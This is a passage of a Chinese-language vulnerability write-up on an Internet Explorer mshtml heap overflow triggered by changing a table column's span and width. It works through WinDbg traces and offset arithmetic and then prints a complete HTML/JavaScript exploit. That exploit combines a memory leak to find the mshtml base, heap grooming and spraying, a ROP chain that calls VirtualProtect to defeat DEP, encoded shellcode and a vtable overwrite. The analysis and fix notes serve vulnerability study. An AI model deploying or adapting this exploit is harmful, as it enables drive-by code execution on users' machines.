var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
mshtmlbase = leak_addr - Number(0x001582b8);
alert(mshtmlbase);
break;
}
}
if ( leak_addr == -1 || leak_index == -1 ) { alert("memory leak failed...."); }
//return mshtmlbase;
}

我们先来实践一下javascript对字符串的访问,可以看到,你的字符串有四个,想访问后面的地址是不可能的,返回是空字符串

根据书中信息,加上自己的调试,第一个字节表示字符串长度0xfa,而0xfa正是0x100-6

那么假如我们改变了长度的值,那么我们就可以任意向后读了,那么怎么覆盖呢,就是利用前面的span值增大了,导致循环次数增加,内存每次递增0x1c去覆盖,那么假如我们能够精准覆盖头指针那就可以了

那这里下断点就很纠结了,没灵感的时候怎么想都不行,有灵感就很好了,其实调试过程中下断点太重要了
我下的断点如下,在执行将span赋值为19之前下断点

1
bp mshtml!CTableColCalc::AdjustForCol+0x2a ".if(@ebx ==0x1004){.echo ------------------;db esi}.else{gc}"

其实暂停了好几次,下面是最后一次,我们看到BBBBB的那个字符串的前面的四个字节被改写为48 00 01 00了,这我们就有点奇怪了,为什么不是04 10 00 00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:005> g
------------------
058e1108 41 00 41 00 41 00 41 00-41 00 41 00 41 00 00 00 A.A.A.A.A.A.A...
058e1118 19 74 00 22 00 00 00 88-48 00 01 00 42 00 42 00 .t."....H...B.B.
058e1128 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
058e1138 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
058e1148 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
058e1158 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
058e1168 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
058e1178 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
eax=00010048 ebx=00001004 ecx=058e1120 edx=00000010 esi=058e1108 edi=058e1120
eip=686af17c esp=0261d804 ebp=0261d80c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x2a:
686af17c 895e04 mov dword ptr [esi+4],ebx ds:0023:058e110c=00410041

那我们在上面那个断点的基础上再下一个写入断点(由于多次调试位置会变化)

首先第一次断下来,我们发现正是我们之前预测的这个10049的写入,那么上面的结果为什么比这个少了1呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:005> g
Breakpoint 1 hit
eax=00000009 ebx=00001004 ecx=00010049 edx=00000010 esi=04660ff0 edi=04661008
eip=69ebf169 esp=0256d1c8 ebp=0256d1d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x17:
69ebf169 e89eacdbff call mshtml!CUnitValue::IsScalerUnit (69c79e0c)
0:005> bl
0 e 69ebf17c 0001 (0001) 0:**** mshtml!CTableColCalc::AdjustForCol+0x2a ".if(@ebx ==0x1004){.echo ------------------;db esi}.else{gc}"
1 e 04661008 w 1 0001 (0001) 0:****
0:005> ub eip
mshtml!CTableColCalc::AdjustForCol+0x7:
69ebf159 53 push ebx
69ebf15a 8b5d08 mov ebx,dword ptr [ebp+8]
69ebf15d 57 push edi
69ebf15e 8bc1 mov eax,ecx
69ebf160 83e00f and eax,0Fh
69ebf163 8d7e18 lea edi,[esi+18h]
69ebf166 50 push eax
69ebf167 890f mov dword ptr [edi],ecx
0:005> r ecx
ecx=00010049

我们再g一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0:005> g
Breakpoint 1 hit
eax=00010048 ebx=00001004 ecx=04661008 edx=00000010 esi=04660ff0 edi=04661008
eip=69a9b5a3 esp=0256d1bc ebp=0256d1bc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CUnitValue::SetValue+0x24:
69a9b5a3 5d pop ebp
0:005> kv
ChildEBP RetAddr Args to Child
0256d1bc 69ebf17c 04661008 00000008 00000001 mshtml!CUnitValue::SetValue+0x24
0256d1d4 69d35b8e 00001004 0256d518 00000001 mshtml!CTableColCalc::AdjustForCol+0x2a
0256d284 69ba0713 00000009 0256d518 00000013 mshtml!CTableLayout::CalculateMinMax+0x52f
0256d4a0 69b8af19 0256d518 0256d4e4 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0256d64c 69c7cc48 0256e6b0 0256d878 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
........
........
0:005> ub eip
mshtml!CUnitValue::SetValue+0xc:
69a9b58d 7f18 jg mshtml!CUnitValue::SetValue+0x17 (69a9b5a7)
69a9b58f b9000000f8 mov ecx,0F8000000h
69a9b594 3bc1 cmp eax,ecx
69a9b596 7c0f jl mshtml!CUnitValue::SetValue+0x17 (69a9b5a7)
69a9b598 8b4d08 mov ecx,dword ptr [ebp+8]
69a9b59b c1e004 shl eax,4
69a9b59e 0b450c or eax,dword ptr [ebp+0Ch]
69a9b5a1 8901 mov dword ptr [ecx],eax

我们看到eax正好是00010048,原来是在SetValue里面改变了,那整个过程就很清楚了,那么实际利用的是下面这里,而且a1是width相关的

我们手动运算看看,验证完成

还有其实作者的运算并不对,应该是下面的

1
2
>>> hex(0x1c*18 + 0x18)
'0x210'

0x210是刚好,vulheap是0x100,”AAAA”是8 + 0x100 = 0x108,而”BBBB”的头部是8,所以再后面的就是BBBB的长度值,刚好位于0x210

而且i最大为18,不会19(可以看到下面的地方是等于,v154是+1之后再判断的)

那么读取的时候是怎么样的呢

1
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);

其实简化一下就是

1
var leak = arr[i].substring((0x100-4)/2+8/2, (0x100-4)/2+(8+4)/2);

0x100-4是减去4字节的头部长度值,后面的8是CButton的堆头指针,如下图(下面为十六进制值)

我看看计算得对不对,因为偏移量可能不一样

可以看到是不对的

1
2
3
0:007> lmm mshtml
start end module name
66d60000 67312000 mshtml (deferred)

我们重新算一下偏移,这样才对,跟作者的也一样了

1
2
0:007> ? 66ed3af8 - 66d60000  
Evaluate expression: 1522424 = 00173af8

漏洞利用

首先我们将偏移改回来

我们先看触发漏洞,再看堆喷射

1
2
3
4
5
function smash_vtable(){
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
}

将width设置成这么大,而且后面有个注释是vftable,应该是覆盖vftable,之后再想办法调用被覆盖的虚表里的函数

先计算一下,确实如上面注释所写的那样

1
2
>>> hex(1178993*100)
'0x7070024'

但是作者给的exp已知断不到点子上,异常经常不一样,所以我改用msf的exp

奇怪的是msf竟然没有信息泄露代码,先直接运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:005> g
(db4.8a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07070024 ebx=01000000 ecx=02b80690 edx=00000041 esi=0244f088 edi=02b80b38
eip=7c348b05 esp=0244eec0 ebp=0244eef8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
7c348b05 ?? ???
0:005> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0244eebc 66f87515 0244f088 02b6ea18 66fd27d1 0x7c348b05
0244eec8 66fd27d1 0244f088 00000001 0244f088 mshtml!NotifyElement+0x41 (FPO: [0,0,1])
0244eef8 66f88410 0244ef58 02af6bc8 0244f088 mshtml!CMarkup::BuildDescendentsList+0x227
0244eff0 66f8838e 003c82c0 0244f088 003c8384 mshtml!CMarkup::NotifyDescendents+0x78
0244f044 66f8727c 02ae83f0 00000000 00000000 mshtml!CMarkup::SendNotification+0x92
0244f06c 66ee2c9f 0244f088 02b19eb0 003ca180 mshtml!CMarkup::Notify+0xd6
0244f148 66de04b2 02b19eb0 00000001 003aeb54 mshtml!CMarkup::SaveHistoryInternal+0x9c2
0244f174 66e6c0af 003ca180 02b19938 0244f1d0 mshtml!CWindow::SaveHistory+0xa9
0244f184 6d96ca36 003c82c0 02b19938 00000001 mshtml!CDoc::SaveHistory+0x1a

我们看看返回地址,原来调用了这里,跟作者的一样

那我们在mshtml!NotifyElement+0x35(上面的kv显示的0x41是错的)下断点发现这里是不断被调用的,根据layout这个东西,应该是实时地去调整浏览器布局,一有“风吹草动”就调整布局,比如我们通过javascript删除了某个元素,布局也要调整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0:013> bp mshtml!NotifyElement+0x35
0:013> g
Breakpoint 0 hit
eax=66f16ef0 ebx=01000000 ecx=002af848 edx=00000041 esi=023ef208 edi=002a56c8
eip=66f87512 esp=023ef044 ebp=023ef078 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!NotifyElement+0x3e:
66f87512 ff5008 call dword ptr [eax+8] ds:0023:66f16ef8={mshtml!CFlowLayout::Notify (66f87f0d)}
0:005> g
Breakpoint 0 hit
eax=66dc9868 ebx=01000000 ecx=00322580 edx=00000041 esi=023ef208 edi=002c99e8
eip=66f87512 esp=023ef044 ebp=023ef078 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
......
......
0:005> g
Breakpoint 0 hit
eax=66dc9868 ebx=01000000 ecx=00332688 edx=00000041 esi=023ef208 edi=0032bcd0
eip=66f87512 esp=023ef044 ebp=023ef078 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!NotifyElement+0x3e:
66f87512 ff5008 call dword ptr [eax+8] ds:0023:66dc9870={mshtml!CTableLayoutBlock::Notify (66ebd6d6)}
0:005> g
Breakpoint 0 hit
eax=66fbdc28 ebx=01000000 ecx=02e30db8 edx=00000041 esi=023ef208 edi=003301c0
eip=66f87512 esp=023ef044 ebp=023ef078 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!NotifyElement+0x3e:
66f87512 ff5008 call dword ptr [eax+8] ds:0023:66fbdc30={mshtml!CTableCellLayout::Notify (66ebd7c0)}

我们看下eax的来源,是来源于ecx,而ecx指向的地址正是被覆盖成了0707002c

经过调试,发现这个虚表是在CButton的第3个dword的位置

那就是通过下面这个覆盖的

那么覆盖大小这么算呢

heap+A+B+0xC就是0x100+0x108+0x108+0xc = 0x21c,因为A,B字符串有堆头的8个字节

其实之前的span为19足够覆盖的了

1
2
>>> hex(0x1c*19)
'0x214'

覆盖+8的位置就是,刚好

1
0x214+8 = 0x21c

那整个过程就清楚了,但好像19触发不了,应该值没变不会进入那个流程,应该44确保可以触发那个流程吧

我对msf的代码添加了信息泄露,同时修改了rop(这个重新自己用mona生成后根据泄露的基址调整的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<html>
<body>
<div id="bUYP"></div>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="2" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="3" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="4" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="5" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="6" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="7" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="8" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="9" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="10" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="11" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="12" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="13" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="14" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="15" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="16" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="17" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="18" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="19" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="20" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="21" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="22" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="23" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="24" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="25" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="26" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="27" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="28" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="29" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="30" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="31" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="32" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="33" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="34" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="35" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="36" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="37" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="38" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="39" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="40" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="41" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="42" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="43" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="44" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="45" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="46" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="47" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="48" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="49" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="50" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="51" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="52" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="53" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="54" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="55" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="56" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="57" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="58" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="59" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="60" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="61" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="62" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="63" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="64" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="65" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="66" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="67" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="68" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="69" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="70" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="71" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="72" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="73" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="74" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="75" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="76" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="77" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="78" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="79" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="80" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="81" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="82" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="83" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="84" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="85" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="86" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="87" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="88" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="89" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="90" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="91" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="92" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="93" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="94" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="95" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="96" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="97" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="98" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="99" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="100" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="101" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="102" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="103" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="104" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="105" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="106" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="107" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="108" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="109" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="110" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="111" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="112" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="113" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="114" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="115" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="116" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="117" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="118" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="119" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="120" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="121" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="122" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="123" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="124" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="125" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="126" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="127" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="128" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="129" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="130" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="131" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>
<script language='javascript'>
var mshtmlbase = "";
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;

var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;

var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;

var arr = new Array();
var rra = new Array();

var div_container = document.getElementById("bUYP");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {
rra[i] = dap.substring(0, (0x100-6)/2);
arr[i] = padding.substring(0, (0x100-6)/2);
arr[i+1] = filler.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}

for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
var obj_col = document.getElementById("132");
var obj_col1 = document.getElementById("131");
var obj_col2 = document.getElementById("130");
var obj_col3 = document.getElementById("129");
obj_col.span = 19;
obj_col1.span = 19;
obj_col2.span = 19;
obj_col3.span = 19;
function over_trigger() {
var leak_addr = -1;
for ( var i = 0; i < 500; i++ ) {
if ( arr[i].length > (0x100-6)/2 ) { // overflowed
leak_index = i;
// alert(leak_index);
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
// alert("CButtonLayout point:0x" + leak_addr.toString(16));
mshtmlbase = leak_addr - Number(0x00173af8);
// alert("mshtml base:0x" + mshtmlbase.toString(16));
break;
}
}
if ( leak_addr == -1 || leak_index == -1 ) { alert("memory leak failed...."); }
//return mshtmlbase;
}

function heap_spray(){
CollectGarbage();
var heapobj = new Object();

function rop_chain(mshtmlbase){
var arr = [
mshtmlbase + Number(0x117f0), // # retn
mshtmlbase + Number(0x50c736), // # POP EBP # RETN [mshtml.dll]
mshtmlbase + Number(0x117ef), // # 0x0707002C stack pivot:xchg eax,esp ; retn
mshtmlbase + Number(0x50c736), // # POP EBP # RETN [mshtml.dll]
mshtmlbase + Number(0x50c736), // # skip 4 bytes [mshtml.dll]
mshtmlbase + Number(0x9478e), // # POP EBX # RETN [mshtml.dll]
0x00000201, // # 0x00000201-> ebx
mshtmlbase + Number(0x27e491), // # POP EDX # RETN [mshtml.dll]
0x00000040, // # 0x00000040-> edx
mshtmlbase + Number(0x343b), // # POP ECX # RETN [mshtml.dll]
mshtmlbase + Number(0x53b7ca), // # &Writable location [mshtml.dll]
mshtmlbase + Number(0x195a6e), // # POP EDI # RETN [mshtml.dll]
mshtmlbase + Number(0x424902), // # RETN (ROP NOP) [mshtml.dll]
mshtmlbase + Number(0x3e0b3e), // # POP ESI # RETN [mshtml.dll]
mshtmlbase + Number(0xa057), // # JMP [EAX] [mshtml.dll]
mshtmlbase + Number(0x4abfd2), // # POP EAX # RETN [mshtml.dll]
mshtmlbase + Number(0x1308), // # ptr to &VirtualProtect() [IAT mshtml.dll]
mshtmlbase + Number(0x3a37c0), // # PUSHAD # RETN [mshtml.dll]
mshtmlbase + Number(0x748bc), // # ptr to 'jmp esp' [mshtml.dll]
0x90909090,
0x06eb,
//0x90909090,
//0xE9909090,// pop retn machineCode
//0x1B000707
];
return arr;
}

function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}

function tab2uni(heapobj, tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}

heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;

var code = unescape("%u7dbd%u35c4%udbef%ud9c9%u2474%u5ff4%uc931%u42b1%u6f31%u8314%u04c7%u6f03%u9f10%uec31%uc404%u7b63%u0eff%u56a2%u994d%u9ff4%ueed6%u2f86%u869c%udb64%u7ad4%u9dfe%u0910%u027e%u3baa%u0d47%u36b4%uc844%u69c5%u0a55%u02a5%ue9c6%u9f02%uce52%ucbc1%u5674%u19d7%uec0f%u56cf%ud14a%u83ee%u2588%ud8b8%ucd7b%u303b%u2eb2%u0c0a%u7c49%u4ce9%u7ac6%u8333%u842a%uf074%ubdc1%u2206%ub702%ua117%u1308%u5ed9%ud0ca%uebd5%ubd98%ueaf9%uca75%u6706%u2588%u338f%ua9af%u78f1%ud91d%uaad8%u3feb%u9093%u3184%u1aea%u1cb9%ubd1b%u5ebe%u4824%ua505%u3460%u475e%u4fe5%uac42%ua758%u53f5%uc8a3%ue983%u5e54%u9df8%udf44%u6d68%uf1b7%uf90c%u7ec2%u8ba8%u5b1c%u30ba%u5179%u2e32%u9ad7%uab11%ua651%u08ca%u84c9%ud2a6%ud48d%u791c%ubb7a%u82a3%u2b85%u1e32%uf312%u94a2%u7180%u3d52%u1c22%ud3f5%u059d%u777d%ub2fa%u6bf7%uaa6a%u0464%u5a33%ub61f%ufbb1%u51b7%u9a5f%uaf29%ud456%uebfa%u6d63%uc5e3%u3fa1%u74b7%u4014%u46e7%uee58%ufcf7%u4150");

var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code;

while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}

onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();

for (i=0; i<400; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}

function smash_vtable(){
// alert("start");
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; //0x07070024
obj_col_0.span = "44";
}

setTimeout("over_trigger();",1);
setTimeout(function(){heap_spray()}, 400);
setTimeout(function(){smash_vtable()}, 700);

</script>
</body>
</html>

结果

漏洞修复

就是在span更改后重新分配相应大小的内存即可

总结

  1. 漏洞的原因是span值改变后内存没有重新分配或者再次申请更多内存,导致可以越界写
  2. 在信息泄露的时候通过巧妙的构造,覆盖字符串头部的长度值,可以泄露出CButton虚表指针,从而通过偏移计算存储mshtml的基址
  3. 在漏洞利用的时候,通过特定的长度值,覆盖虚表指针,导致任意代码执行,通过堆的巧妙布局,精确地控制数据的布局,利用rop绕过DEP,成功执行代码

漏洞之外的东西

  1. 调试过程中下的断点太重要了,只要下对了,一下就找到关键点,整个人都阔然开朗
  2. 调试ie的漏洞,特别是javascript相关的,用javascript断点或者alert可以大大节省调试时间,因为你下一个断点可能断得太多,你让javascript执行到那里采取启用断点,那就可以节省很多时间了
自愿打赏专区